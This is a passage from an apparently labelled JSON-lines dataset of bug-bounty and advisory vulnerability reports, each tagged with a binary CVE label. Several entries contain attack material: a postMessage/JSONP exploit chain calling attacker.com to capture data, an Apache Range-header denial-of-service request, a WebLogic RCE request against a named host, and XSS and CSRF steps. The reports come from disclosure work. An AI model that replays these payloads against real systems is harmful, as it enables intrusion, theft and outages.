the latest version of apply the patch provided by the vendor.\n\nScreenshots attached for the reference.", "source": "hackerone", "timestamp": "2016-02-15", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "1f458a9a9889d0a0605a", "text": "[Memory Corruption - Generic] Race condition in Flash workers may cause an exploitabl​e double free\n\nThe issue occurs while sharing a bytearray between two workers. If both call bytearray.clear() at the same time, Flash does not correctly handle the race and may double free the array.\r\n\r\nIndentified as CVE-2014-0574, and reported to Adobe via Chrome VRP:\r\nhttp://helpx.adobe.com/security/products/flash-player/apsb14-24.html\r\n\r\nOriginal report with proof of concept:\r\nhttps://code.google.com/p/chromium/issues/detail?id=423703", "source": "hackerone", "timestamp": "2019-11-12", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "ccbe7c45a839e7635e8b", "text": "InfraPower PPS-02-S Q213V1 Local File Disclosure Vulnerability\n\nSeverity: high", "source": "zeroscience", "timestamp": "2016-10-28", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "ca0ae759d3d72b07b587", "text": "[Cross-site Scripting (XSS) - DOM] Stored XSS and html injection in biz.mail.ru\n\nDomain, site, application: biz.mail.ru\n\nTesting environment: Latest chrome\n\nSteps to reproduce\n\n1) go to biz.mail.ru, login\n2) go to \"My company\"\n3) create a department named as \">\n```\n\n2. We listen to the message we get from the iframe to trigger our payload and we send back a `postMessage` loading a JSONP-endpoint with a function to create a link to www.hackerone.com with the `#contact` fragment:\n\n```html\n\n```\n\nThis is the content of `jsonp.php`:\n\n```php\n\n(function(){\ndocument.body.innerHTML='Click me!'\n\nsetInterval(function() {\ntry {\n\tb['frames'][0].postMessage('{\"mktoRequest\":{\"ajaxParams\":{\"url\":\"https://attacker.com/jsonp2.php\",\"dataType\":\"jsonp\",\"method\":\"get\"}}}', '*')\n} catch(e){}\n}, 1000);\n})()\n```\n\nWhen victim clicks the link, we start a interval of `postMessage`-sending to `b['frames'][0]` which should be the Marketo iframe on www.hackerone.com. Interesting enough, Marketo actually sets the name of the frame to `mktoFormsXDIframe + Math.random()` but this can be completely bypassed using `window['frames'][0]` instead.\n\nOur code in `jsonp2.php` looks like this:\n\n```php\n\n(function(){\n\tif(window.icanhazmsg) return\n\twindow.icanhazmsg=true\n\twindow.onmessage=function(a) {\n\t\tif(a.origin.indexOf('marketo') !== -1) return;\n\t\tconsole.log(a);\n\t\talert(\"I HAVE YOUR DATA NOW\\n\" + a.data)\n\t}\n})()\n```\n\nAs you see, we now use the XSS passed from our", "source": "hackerone", "timestamp": "2017-08-29", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "558858db02f5144568f7", "text": "[Cross-Site Request Forgery (CSRF)] CSRF in the \"Add restaurant picture\" function\n\n##Overview \nI found a CSRF vulnerability within the process responsible for adding photos for a restaurant which can lead to tricking victims into adding arbitrary photos to their restaurant's page. \n##Details \nThe CSRF vulnerability exists due to a misconfiguration on your part in which your `X-CSRF-TOKEN` header is set to \"Undefined\" which leads to any request being accepted and processed. \nUploading a picture to your restaurant is a two step process, when you start the process you first have to upload a picture off your device to the server, after that you'll be presented with another form which will allow you to add any captions or descriptions you want to the photo. The misconfiguration in question resides in the first request (The photo upload request) which allows attackers to forge a picture upload request to the server, however the photo will not be added to the restaurant's page unless the second request from the second form (the captions and description form) is also submitted. \nIt's also worth noting that there're no CSRF protections in place on the second form. \n##PoC \nTo carry out a successful attack the attacker needs to obtain two values which will tie the requests to the victim's account. these values are namely `res_id` and `user_id`. After obtaining these two values (Which are publicly available for any user and restaurant) all the attacker will have to do is to fill these values in the GET parameters in the first request with the values of the victim and the `res_id` parameter in the body of the second POST request. I'll provide a PoC HTML file below in order to make it easier for you to reproduce the flaw, the PoC couldn't be included here due to the huge size of it (because the first request has the binary form of the photo being uploaded in the code itself.) \nAfter modifying the values in the two requests, click the button that says \"Request 1\" to submit the first request and then \"Request 2\" the submit the second. By this point you can now visit the photos page in your restaurant's page and you'll find a picture of a star added there. \n##PoC Code: \n[You can download the exploit code from Mega.nz here](https://mega.nz/#!0wpkhLJL!Xkjm37fvqhcl7Ybp8yPBugnaRz0ruLU0eWS26icsz7s), The file is protected so there's no need to worry about accidental disclosure.", "source": "hackerone", "timestamp": "2017-09-14", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "62150edf645d85581995", "text": "NuCom 11N Wireless Router v5.07.90 Remote Privilege Escalation\n\nSeverity: high", "source": "zeroscience", "timestamp": "2021-03-10", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "f2ad60d303559287ec9a", "text": "[Memory Corruption - Generic] Adobe Flash Player MP4 Use-After-Free Vulnerability\n\nI. Summary\r\nAdobe Flash Player is prone to a vulnerability which leads to Use-After-Free. After parsing a malformed mp4 file, Flash will keep on accessing a block of memory for timing. Such memory block is still accessed even the page containing Flash is closed, which leads to a memory crash. \r\n------------------------------------------------------------------\r\nII. Description\r\nAdobe Flash is a multimedia and software platform used for authoring of vector graphics, animation, games and rich Internet applications (RIAs) that can be viewed, played and executed in Adobe Flash Player. NetStream object can load and play an external mp4 file. \r\nAfter playing a mp4 file, Flash will keep on updating a counter that saves the current frame and duration. A malformed mp4 file will trick the Flash to believe that this film never ends. The counter will not stop updating even the web page containing Flash is closing. Closing the page release Flash from the memory space, while the counter is still updated by a standalone thread. \r\nThere are two possible types of crash depending on the order of different blocks' release:\r\n1. If the counter memory is freed first, then the memory crash is caused by accessing freed memory.\r\n2. If the code snippets that update the counter is freed first, then the crash is caused by executing freed memory.\r\nEach of the two possible types of crash may by exploited by carefully crafted mp4 file which could lead to code execution.\r\n\r\nPOC and its source code are attached. \r\nPrevious and lastest version of Adobe Flash Player has been tested under both Windows 7 and Windows XP.\r\n------------------------------------------------------------------\r\nIII. Impact\r\nUse-After-Free\r\n------------------------------------------------------------------\r\nIV. Affected\r\nAdobe Flash Player (verion >10) under Windows XP and Windows 7.\r\nOther versions of windows may also be affected.\r\n------------------------------------------------------------------\r\nV. Reference\r\nFix: http://helpx.adobe.com/security/products/flash-player/apsb14-21.html\r\nIt has been asigned as CVE-2014-0553\r\n------------------------------------------------------------------\r\nVI. Credit\r\nLiu Jincheng and Wen Guanxing from Venustech ADLAB are credited for this vulnerability.", "source": "hackerone", "timestamp": "2015-03-11", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "127ccb4e538c07e23cb1", "text": "TrueConf Server v4.3.7 Multiple Remote Web Vulnerabilities\n\nSeverity: high", "source": "zeroscience", "timestamp": "2017-01-29", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "dd803e55538daaf1b91e", "text": "[Cross-site Scripting (XSS) - Reflected] A reflected XSS in python/Lib/DocXMLRPCServer.py\n\nI have report this issue to PSRT and it has been resolved now.\nDetails about this issue is at https://bugs.python.org/issue38243 and http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16935\n\n## Impact\n\nIt's the same with other xss.", "source": "hackerone", "timestamp": "2019-10-19", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "b127dfed737d83818a11", "text": "Kemana Directory 1.5.6 Remote Code Execution\n\nSeverity: high", "source": "zeroscience", "timestamp": "2014-03-25", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "ede8efe3bf4c929c437d", "text": "[Cryptographic Issues - Generic] DROWN Attack\n\nHi,\n\nI want to report a drown attack in *.owncloud.com.\n\nA cross-protocol attack was discovered that could lead to decryption of TLS\nsessions by using a server supporting SSLv2 and EXPORT cipher suites as a\nBleichenbacher RSA padding oracle. Note that traffic between clients and\nnon-vulnerable servers can be decrypted provided another server supporting\nSSLv2 and EXPORT ciphers (even with a different protocol such as SMTP, IMAP or\nPOP) shares the RSA keys of the non-vulnerable server. This vulnerability is\nknown as DROWN (CVE-2016-0800).\n\nYou can check here: https://test.drownattack.com/?site=owncloud.com", "source": "hackerone", "timestamp": "2016-03-03", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "27745a07af001e32d737", "text": "Adobe Audition 3.0 (build 7283) Session File Handling Buffer Overflow PoC\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2011-05-12", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "dc499ade5d2df506f534", "text": "Sony PC Companion 2.1 (Load()) Stack-based Unicode Buffer Overload SEH\n\nSeverity: high", "source": "zeroscience", "timestamp": "2012-12-20", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "bc36d5ffd70528427de1", "text": "XAMPP 1.7.7 Multiple URI Based Cross-Site Scripting Vulnerabilities\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2011-11-07", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "deb1c6d303d934f76a4d", "text": "[Cross-site Scripting (XSS) - Stored] XSS For Profile Name\n\n**Summary:**\n\nIn short, if your username is something as simple as this will not be filtered when viewing your profile page. The unfiltered script alert is echo'd underneath your image in your profile. This can be viewed by anyone viewing your profile (Although in some cases the browser will attempt to block it so you might not see it immediately - but it will show in the console etc).\n\nWhile you are unable to change your username to have <> tags via the web, I noticed if I edited the name directly in the database I could get it to prompt. \n\nFrom there I found two ways to make your name accept tags. \n\n- via the API, you can create a user with a script tag as a name and it goes through fine. \n- via social logins. Although Facebook, Twitter and Google all block <> tags in their \"Name\" field, things like Github and Steam do not and the social login plugins take the \"name\" wholesale without any filtering. \n\n**Description:**\n\n## Steps to reproduce:\n\nYou can ofcourse just edit the name of a user in the gdn_user table if you want to short circuit it. Otherwise... \n\n1. Call the API (Even via Swagger in the admin panel) with the following : (RoleId may need to be changed to suite local install)\n\n{\n \"bypassSpam\": false,\n \"email\": \"test@test.com\",\n \"emailConfirmed\": true,\n \"name\": \"\",\n \"password\": \"P@ssw0rd\",\n \"photo\": \"\",\n \"roleID\": [\n 8\n ]\n}\n\n2. Login as this user/view this users profile via the front end web. You should see the alert. \n\n(And again alternatively you can set up OpenID/Social Logins with a provider that also allows script tags in the name and it will come through also)\n\n## Anything else we should know?\n\nWhile the web does block it so the exploit relies on either an API integration or a social login, I think relying on third parties to block script tags on their end so they don't get into the Vanilla DB is probably pretty dangerous. If Vanilla has inbuilt support for something like Github this would be a much larger problem etc.\n\n## Impact\n\nStandard XSS rules apply", "source": "hackerone", "timestamp": "2020-03-25", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "b5831dec047f9cc7d5fc", "text": "SOCA Access Control System 180612 Reflected Cross-Site Scripting\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2019-05-13", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "b84e6f0841483f4c2ff7", "text": "[Violation of Secure Design Principles] gallery_plus: Content Spoofing\n\nAttacker can send his messages directly through url. He can easily put his message on error message parameter .\r\nLike that\r\nhttp://192.168.0.107/owncloud/index.php/apps/galleryplus/error?message=Welcome to owncloud. You can get pro account by sending us 10 usd directly to our official paypal example@example.com. Thanks.&code=0\r\n\r\n\r\nThanks.", "source": "hackerone", "timestamp": "2015-09-11", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "56498d5f4928d4caaec4", "text": "[OS Command Injection] Remote OS Command Execution on Oracle Weblogic server via [CVE-2017-10271]\n\n##Summary\n\nHello. I was able to identify RCE vulnerability due to the outdated Oracle Weblogic instance on `https://raebilling.mtn.co.za`.\n\n##Steps To Reproduce\n\n* To reproduce, launch this request with BurpSuite\n* This request to the `https://raebilling.mtn.co.za/wls-wsat/CoordinatorPortType` will trigger sleep for 15 seconds (same applies for 20 secondes, 40 seconds):\n\n```\nPOST /wls-wsat/RegistrationPortTypeRPC HTTP/1.1\nHost: raebilling.mtn.co.za\nContent-Length: 426\ncontent-type: text/xml\nAccept-Encoding: gzip, deflate, compress\nAccept: */*\n\n\n \n \n \n \n 40000\n \n \n \n \n \n\n```\n==**POC:**== {F736913} {F736912} {F736915}\n\n## Suggested Mitigation/Remediation Actions\n* Patching WebLogic to the recent version will fix the issue.\n\n## Impact\n\n**This vulnerability allow an unauthenticated attacker:**\n* To perform Remote OS Command Execution.", "source": "hackerone", "timestamp": "2021-04-25", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "3e9b436da1f0c2b2d06d", "text": "[Unknown] CORS on my.stripo.email\n\nHey Team i don't know if it's valid or not i just want to let you know about this thanks.\n\nfollowing the HTML File ..\n\n\n\n\n\n#the Request\n\n`GET /cabinet/stripo-ws/v1/stripo-websocket/info?t=1587908666898 HTTP/1.1\nHost: my.stripo.email\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nConnection: close\nReferer: https://my.stripo.email/cabinet/`\n\n#Response\n\nHTTP/1.1 200 \nServer: nginx\nDate: Sun, 26 Apr 2020 13:57:50 GMT\nContent-Type: application/json;charset=UTF-8\nConnection: close\nVary: Accept-Encoding\nVary: Origin\nVary: Access-Control-Request-Method\nVary: Access-Control-Request-Headers\nCache-Control: no-store, no-cache, must-revalidate, max-age=0\nX-Content-Type-Options: nosniff\nX-XSS-Protection: 1; mode=block\nX-Frame-Options: DENY\nX-XSS-Protection: 1; mode=block\nX-Content-Type-Options: nosniff\nX-Frame-Options: sameorigin\nStrict-Transport-Security: max-age=31536000; includeSubDomains\nContent-Length: 77\n\n{\"entropy\":750465027,\"origins\":[\"*:*\"],\"cookie_needed\":true,\"websocket\":true}\n\nAfter i added `origin: https://gogole.com` on __Request__ \n\nthe #Resposne\n\n`HTTP/1.1 200 \nServer: nginx\nDate: Sun, 26 Apr 2020 14:00:03 GMT\nContent-Type: application/json;charset=UTF-8\nConnection: close\nVary: Accept-Encoding\nVary: Origin\nVary: Access-Control-Request-Method\nVary: Access-Control-Request-Headers\nAccess-Control-Allow-Origin: https://google.com\nAccess-Control-Allow-Credentials: true\nCache-Control: no-store, no-cache, must-revalidate, max-age=0\nX-Content-Type-Options: nosniff\nX-XSS-Protection: 1; mode=block\nX-Frame-Options: DENY\nX-XSS-Protection: 1; mode=block\nX-Content-Type-Options: nosniff\nX-Frame-Options: sameorigin\nStrict-Transport-Security: max-age=31536000; includeSubDomains\nContent-Length: 78\n\n{\"entropy\":-717493192,\"origins\":[\"*:*\"],\"cookie_needed\":true,\"websocket\":true}`\n\n## Impact\n\nAs with superpowers, it’s all about knowing how to use it. Therefore, CORS is not necessarily a bad thing. We’ve seen in many cases that CORS has legitimate use, and this is why it was invented and made a web standard in the first place. However, you need to be aware of the CORS configuration you set up in your server and the side effects this has on security.", "source": "hackerone", "timestamp": "2020-04-28", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "d92442e7bbf9c68ff86a", "text": "[Heap Overflow] CVE-2019-5482: Heap buffer overflow in TFTP when using small blksize\n\n## Summary:\nWith a TFTP server that does not send OACK, but instead starts anyway with first block with 512 bytes block size, the curl library fails to assume default 512 bytes blocks. Instead it detects EOF and does not return an error code. Consequence is a truncated file that is 512 bytes without any error code.\n\nMy understanding is that from the RFC, a TFTP server might ignore blksize request and anyway send the default 512 bytes block size data.\n\nUnless an OACK is received we should assume 512 block size, whether or not a particular blocksize was requested.\n\nThis was introduced by security fix of CVE-2019-5436:\n257600341 tftp: use the current blksize for recvfrom()\n\n## Potential Fix\nWe could revert 2576003415625d7b5f0e390902f8097830b82275 and instead malloc the receive buffer for at least 512 bytes, or for the requested blksize if it is bigger. That would address the issue being reported and also the CVE-2019-5436.\n\n## Steps To Reproduce:\n 1. Use a TFTP server that does not send OACK in response of a particular blksize request, but instead sends directly the first block, of default size (512B).\n 2. Run curl asking for a >512 bytes block size like:\n curl --tftp-blksize 8192 tftp://9.1.9.1/data.bin --output data.bin\n 3. echo $? is 0 and file size is 512 bytes\n\n## Comment\nNot too sure about the Weakness identification and/or Severity, reporting it here since it was introduced by a CVE fix.\n\n## Impact\n\nFile truncation without 'curl' returning any error code.", "source": "hackerone", "timestamp": "2020-11-14", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "75667c2457383486b794", "text": "[Silk Road 1] Firefox 10.0.1 can be exploited via malicious images\n\nhttp://blog.mozilla.com/security/2012/02/17/mozilla-releases-to-address-cve-2011-3026/QuoteThe libpng graphics library, used by Firefox and Thunderbird as well as many other software packages, contains an exploitable integer overflow bug. An attacker could craft malicious images which exploit this bug, and deliver them to users through websites or email messages.Impact to usersThis bug is remotely exploitable and can lead to arbitrary code execution. Firefox, Thunderbird and Seamonkey users could be attacked simply by displaying a maliciously crafted image.I'm reading up on the details now, but this bug looks like something SR users would want to patch quickly. Unfortunately the tor browser bundle hasn't been updated with the newly released FF 10.0.2 yet. They better get on that. Until then, you can disable image loading if you're paranoid: Go to tools > options > content and uncheck \"load images automatically\".", "source": "gayanku", "timestamp": "2012-02-17", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "3a72ab7de05d5c3844dc", "text": "[Improper Authentication - Generic] BruteForce in to Admin Account\n\nHello,\n\nMy self Abdulwahab,\n I want to Alert You that Your website is Facing a serious Problem Called : Username Enumeration\nThis Problem is on\nnextcloud.com/wp-admin\n\nWe Use wpscan to get username \n\nand the username is \n\"frank\"\nAfter getting username a user can Bruteforce it Using Wpscan and get access to admin panel and upload shell and also get all sub_domain Means Full Server is Hacked!\n\nFIX\n===\nTo Fix this use Wordpress Login Attemptizer\n\nThanks,\nABDULWAHAB,\nIndependent Cyber Security Researcher,", "source": "hackerone", "timestamp": "2016-12-04", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "1c18ef7a837aecd0315f", "text": "OpenMRS 2.3 (1.11.4) XML External Entity (XXE) Processing PoC Exploit\n\nSeverity: high", "source": "zeroscience", "timestamp": "2015-12-07", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "e59708f3dc8539c63521", "text": "[Violation of Secure Design Principles] owncloud.com: PermError SPF Permanent Error: Too many DNS lookups\n\nI just checked for SPF records for the owncloud.com domain, and there are none, effectively allowing for spam(spoof) to originate from that domain. you can validate by testing yourself here: http://www.kitterman.com/spf/validate.html\r\n\r\nSPF record lookup and validation for: owncloud.com\r\n\r\nSPF records are published in DNS as TXT records.\r\n\r\nThe TXT records found for your domain are:\r\nv=spf1 a:mx.owncloud.com a:kerio.owncloud.com a:schaltsekun.de a:m.hive01.com include:cmail1.com include:email.influitive.com include:google.com ~all \r\n\r\nChecking to see if there is a valid SPF record. \r\n\r\nFound v=spf1 record for owncloud.com: \r\nv=spf1 a:mx.owncloud.com a:kerio.owncloud.com a:schaltsekun.de a:m.hive01.com include:cmail1.com include:email.influitive.com include:google.com ~all \r\n\r\nevaluating...\r\nResults - PermError SPF Permanent Error: Too many DNS lookups", "source": "hackerone", "timestamp": "2015-10-11", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "55c0a5fc80e360997f5b", "text": "[Memory Corruption - Generic] memcpy negative parameter _bc_new_num_ex\n\nUpstream Bug\n---\nhttps://bugs.php.net/bug.php?id=73190\n\nSummary\n--\nWhen *scale* parameter value in \\_bc_new_num_ex is large enough ( 0x7fffffff), memset function receive negative size parameter. \n\nAffected functions: *bcsub, bcadd , bcsqrt* ...\n\nSource code:\nhttps://github.com/php/php-src/blob/master/ext/bcmath/libbcmath/src/init.c#L47\n\n```\nbc_num _bc_new_num_ex (length, scale, persistent)\n int length, scale, persistent;\n{\n...\n temp->n_ptr = (char *) safe_pemalloc (1, length, scale, persistent);\n if (temp->n_ptr == NULL) bc_out_of_memory();\n temp->n_value = temp->n_ptr;\n memset (temp->n_ptr, 0, length+scale); # 1 + 0x7fffffff = -2147483648\n return temp;\n}\n```\n\nGDB output:\n```\ngdb -q --args /home/operac/build4/bin/php -n poc.php\nNo symbol table is loaded. Use the \"file\" command.\nBreakpoint 1 (__asan_report_error) pending.\nReading symbols from /home/operac/build4/bin/php...done.\ngdb-peda$ b _bc_new_num_ex\nBreakpoint 2 at 0x7de0a0: _bc_new_num_ex. (4 locations)\ngdb-peda$ r\n...\nBreakpoint 3, _bc_new_num_ex (length=length@entry=0x1, scale=scale@entry=0x7fffffff, persistent=persistent@entry=0x0)\n at /home/operac/build4/php-src/ext/bcmath/libbcmath/src/init.c:72\n72\t memset (temp->n_ptr, 0, length+scale);\ngdb-peda$ p length\n$1 = 0x1\ngdb-peda$ p scale\n$2 = 0x7fffffff\ngdb-peda$ p length+scale\n$3 = 0x80000000\ngdb-peda$ p/d length+scale\n$4 = -2147483648\ngdb-peda$ b memset\n...\nBreakpoint 3, 0x00007ffff6ef6d10 in memset () from /usr/lib/x86_64-linux-gnu/libasan.so.2\ngdb-peda$ p/d $rdx\n$6 = -2147483648\ngdb-peda$ p $rdx\n$7 = 0xffffffff80000000\n```\n\nPatch\n--\n```\nhttp://git.php.net/?p=php-src.git;a=commit;h=40e7baab3c90001beee4c8f0ed0ef79ad18ee0d6\n```\n\nFixed for PHP 5.6.27, PHP 7.0.12\n--\nhttp://php.net/ChangeLog-5.php\nhttp://php.net/ChangeLog-7.php#7.0.12", "source": "hackerone", "timestamp": "2017-02-07", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "543aeed5be41b539e2cd", "text": "[Cryptographic Issues - Generic] formassembly.com is vulnerable to padding-oracle attacks.\n\nDear Formassembly bug bounty team,\n\n# Summary\n---\n\nformassembly.com is vulnerable to CVE-2016-2107, allowing remote attackers to obtain sensitive information via padding-oracle attacks.\n\n~~~\n$ git clone https://github.com/FiloSottile/CVE-2016-2107.git\n$ go run main.go www.formassembly.com\n... Vulnerable: true\n~~~\n\nThe code above checks whether the TLS alert is `DATA_LENGTH_TOO_LONG` (vulnerable) or `BAD_RECORD_MAC` (not vulnerable).\n\n# What is CVE-2016-2107?\n---\n\nFilippo Valsorda, the author of the tool I used to discover this issue, wrote a fantastic article on CVE-2016-2107 here: https://blog.cloudflare.com/yet-another-padding-oracle-in-openssl-cbc-ciphersuites/\n\n# What are padding-oracle attacks?\n---\n\nDuring the decryption and the HMAC verification process the length of the padding is revealed. Padding-oracle attacks iterate over the padding of the cryptographic message, revealing the contents of the message.\n\n# More information\n---\n\nWhile I am at it I may as well let you know that you also support 1024-bit Diffie-Hellman keys. I would recommend using a 2048-bit Diffie-Hellman group.\n\nLink to GitHub repo: https://github.com/FiloSottile/CVE-2016-2107\nLink to online test: https://filippo.io/CVE-2016-2107/\n\nYours sincerely,\nEd", "source": "hackerone", "timestamp": "2017-03-17", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "1f6ef2ad5e1f041bf9d0", "text": "[Buffer Over-read] CVE-2020-9383 Floppy OOB read\n\nA vulnerability was found in Linux Kernel up to 5.5.6 (Operating System) and classified as critical. Affected by this issue is the function `set_fdc` of the file `drivers/block/floppy.c`. The manipulation with an unknown input leads to a memory corruption vulnerability (Out-of-Bounds). Using CWE to declare the problem leads to CWE-125. Impacted is confidentiality, integrity, and availability.\n\nThe weakness was disclosed 02/25/2020 by Jordy Zomer (GitHub Repository). The advisory is shared for download at github.com. This vulnerability is handled as CVE-2020-9383 since 02/24/2020. The attack needs to be approached locally. \n\nReferences:\n\nhttp://lists.opensuse.org/opensuse-security-announce/2020-03/msg00039.html\nhttps://github.com/torvalds/linux/commit/2e90ca68b0d2f5548804f22f0dd61145516171e3\nhttps://security.netapp.com/advisory/ntap-20200313-0003/\n\n## Impact\n\nA local attacker could use this to cause a denial of service (system crash) or expose sensitive information.", "source": "hackerone", "timestamp": "2021-08-22", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "5346888db7960a2bf0f8", "text": "[Information Exposure Through an Error Message] environment variable leakage in error reporting\n\n> NOTE! Thanks for submitting a report! Please replace *all* the [square] sections below with the pertinent details. Remember, the more detail you provide, the easier it is for us to triage and respond quickly, so be sure to take your time filling out the report!\n\nI would like to report the leak of environment variables in https://github.com/senecajs/seneca\nIt make a user indavertely leak private credentials (such as AWS keys) to public spaces.\n\n# Module\n\n**module name:** [MODULE NAME]\n**version:** [MODULE VERSION]\n**npm page:** `https://www.npmjs.com/package/[MODULE NAME]`\n\n## Module Description\n\nA Node.js toolkit for Microservice architectures\n\n## Module Stats\n\n> Replace stats below with numbers from npm’s module page:\n\n1711 downloads in the last day\n7199 downloads in the last week\n29241 downloads in the last month\n\n# Vulnerability\n\n## Vulnerability Description\n\n> Description about how the vulnerability was found and how it can be exploited, how it harms package users (data modification/lost, system access, other.\n\nWhen a process using Seneca crashes, it prints out all of its environment variables. These are typically picked up by log monitoring system, and they might end up in less secured placed. As a result, it can end up in public bug reports, such as\nhttps://github.com/senecajs/seneca-transport/issues/88. \n\n## Steps To Reproduce:\n\n```\nvar seneca = require('seneca')()\nseneca.die()\n```\n\n## Patch\n\n```\ndiff --git a/lib/common.js b/lib/common.js\nindex ef3e398..e992cd6 100644\n--- a/lib/common.js\n+++ b/lib/common.js\n@@ -339,10 +339,7 @@ exports.makedie = function(instance, ctxt) {\n process.arch +\n ', platform=' +\n process.platform +\n- (!full ? '' : ', path=' + process.execPath) +\n- ', argv=' +\n- Util.inspect(process.argv).replace(/\\n/g, '') +\n- (!full ? '' : ', env=' + Util.inspect(process.env).replace(/\\n/g, ''))\n+ (!full ? '' : ', path=' + process.execPath)\n\n var when = new Date()\n```\n\n## Supporting Material/References:\n\n# Wrap up\n\n> Select Y or N for the following statements:\n\n- I contacted the maintainer to let them know: Y\n- I opened an issue in the related repository: N\n\n> Hunter's comments and funny memes goes here\n\n## Impact\n\nAccess to cloud accounts. I got a 55$ bill out of this.", "source": "hackerone", "timestamp": "2019-09-03", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "ff3902309d8fb9981088", "text": "Adobe Photoshop CS4 Extended 11.0 ASL File Handling Remote Buffer Overflow PoC\n\nSeverity: high", "source": "zeroscience", "timestamp": "2010-05-26", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "361bb5e968222f8fffab", "text": "[Memory Corruption - Generic] Heap overflow in mysqlnd related to BIT fields (CVE-2016-7412)\n\nThis report is related to a bug in PHP that has now been fixed and publicly disclosed. It was assigned CVE-2016-7412.\n\nThe details are at:\nhttps://bugs.php.net/bug.php?id=72293\n\nDisclosure was on Sep 15:\nhttp://www.openwall.com/lists/oss-security/2016/09/15/10\n\nThanks!", "source": "hackerone", "timestamp": "2019-11-12", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "9c0ed0df1a96506255fd", "text": "[Uncontrolled Resource Consumption] Apache Range Header Denial of Service Attack (Confirmed PoC)\n\nowncloud.com is vulnerable to Apache range header denial of service. This was confirmed by injecting Range: header payloads and analyzing the request vs. response times to an arbitrary page. The results confirm that processing times took up to 50,000 milliseconds per request when the range header values were specified compared to just 1,000 milliseconds when no range header was specified. This was further confirmed by the Server: header field for owncloud which states the running version of Apache is 2.2.17 which is vulnerable to this attack. \r\n\r\nThis is caused by CVE-2011-3192 which means the server (Apache) is running a vulnerable version of Apache (All versions prior to 2.2.20 are vulnerable). The results could also be further compounded in the case of increased threads per host and by using multiple hosts to attack the website using the same attack. \r\n\r\nSee attached evidence for further proof.\r\n\r\nGET / HTTP/1.1 \r\nHost: owncloud.com \r\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0 \r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 \r\nAccept-Language: en-US,en;q=0.5 \r\nAccept-Encoding: gzip, deflate \r\nRange: bytes=0-,5-0,5-1,5-2,5-3,5-4,5-5,5-6,5-7,5-8,5-9,5-10,5-11,5-12,5-13,5-14,5-15,5-16,5-17,5-18,5-19,5-20,5-21,5-22,5-23,5-24,5-25,5-26,5-27,5-28,5-29,5-30,5-31,5-32,5-33,5-34,5-35,5-36,5-37,5-38,5-39,5-40,5-41,5-42,5-43,5-44,5-45,5-46,5-47,5-48,5-49,5-50,5-51,5-52,5-53,5-54,5-55,5-56,5-57,5-58,5-59,5-60,5-61,5-62,5-63,5-64,5-65,5-66,5-67,5-68,5-69,5-70,5-71,5-72,5-73,5-74,5-75,5-76,5-77,5-78,5-79,5-80,5-81,5-82,5-83,5-84,5-85,5-86,5-87,5-88,5-89,5-90,5-91,5-92,5-93,5-94,5-95,5-96,5-97,5-98,5-99,5-100,5-101,5-102,5-103,5-104,5-105,5-106,5-107,5-108,5-109,5-110,5-111,5-112,5-113,5-114,5-115,5-116,5-117,5-118,5-119,5-120,5-121,5-122,5-123,5-124,5-125,5-126,5-127,5-128,5-129,5-130,5-131,5-132,5-133,5-134,5-135,5-136,5-137,5-138,5-139,5-140,5-141,5-142,5-143,5-144,5-145,5-146,5-147,5-148,5-149,5-150,5-151,5-152,5-153,5-154,5-155,5-156,5-157,5-158,5-159,5-160,5-161,5-162,5-163,5-164,5-165,5-166,5-167,5-168,5-169,5-170,5-171,5-172,5-173,5-174,5-175,5-176,5-177,5-178,5-179,5-180,5-181,5-182,5-183,5-184,5-185,5-186,5-187,5-188,5-189,5-190,5-191,5-192,5-193,5-194,5-195,5-196,5-197,5-198,5-199,5-200,5-201,5-202,5-203,5-204,5-205,5-206,5-207,5-208,5-209,5-210,5-211,5-212,5-213,5-214,5-215,5-216,5-217,5-218,5-219,5-220,5-221,5-222,5-223,5-224,5-225,5-226,5-227,5-228,5-229,5-230,5-231,5-232,5-233,5-234,5-235,5-236,5-237,5-238,5-239,5-240,5-241,5-242,5-243,5-244,5-245,5-246,5-247,5-248,5-249,5-250,5-251,5-252,5-253,5-254,5-255,5-256,5-257,5-258,5-259,5-260,5-261,5-262,5-263,5-264,5-265,5-266,5-267,5-268,5-269,5-270,5-271,5-272,5-273,5-274,5-275,5-276,5-277,5-278,5-279,5-280,5-281,5-282,5-283,5-284,5-285,5-286,5-287,5-288,5-289,5-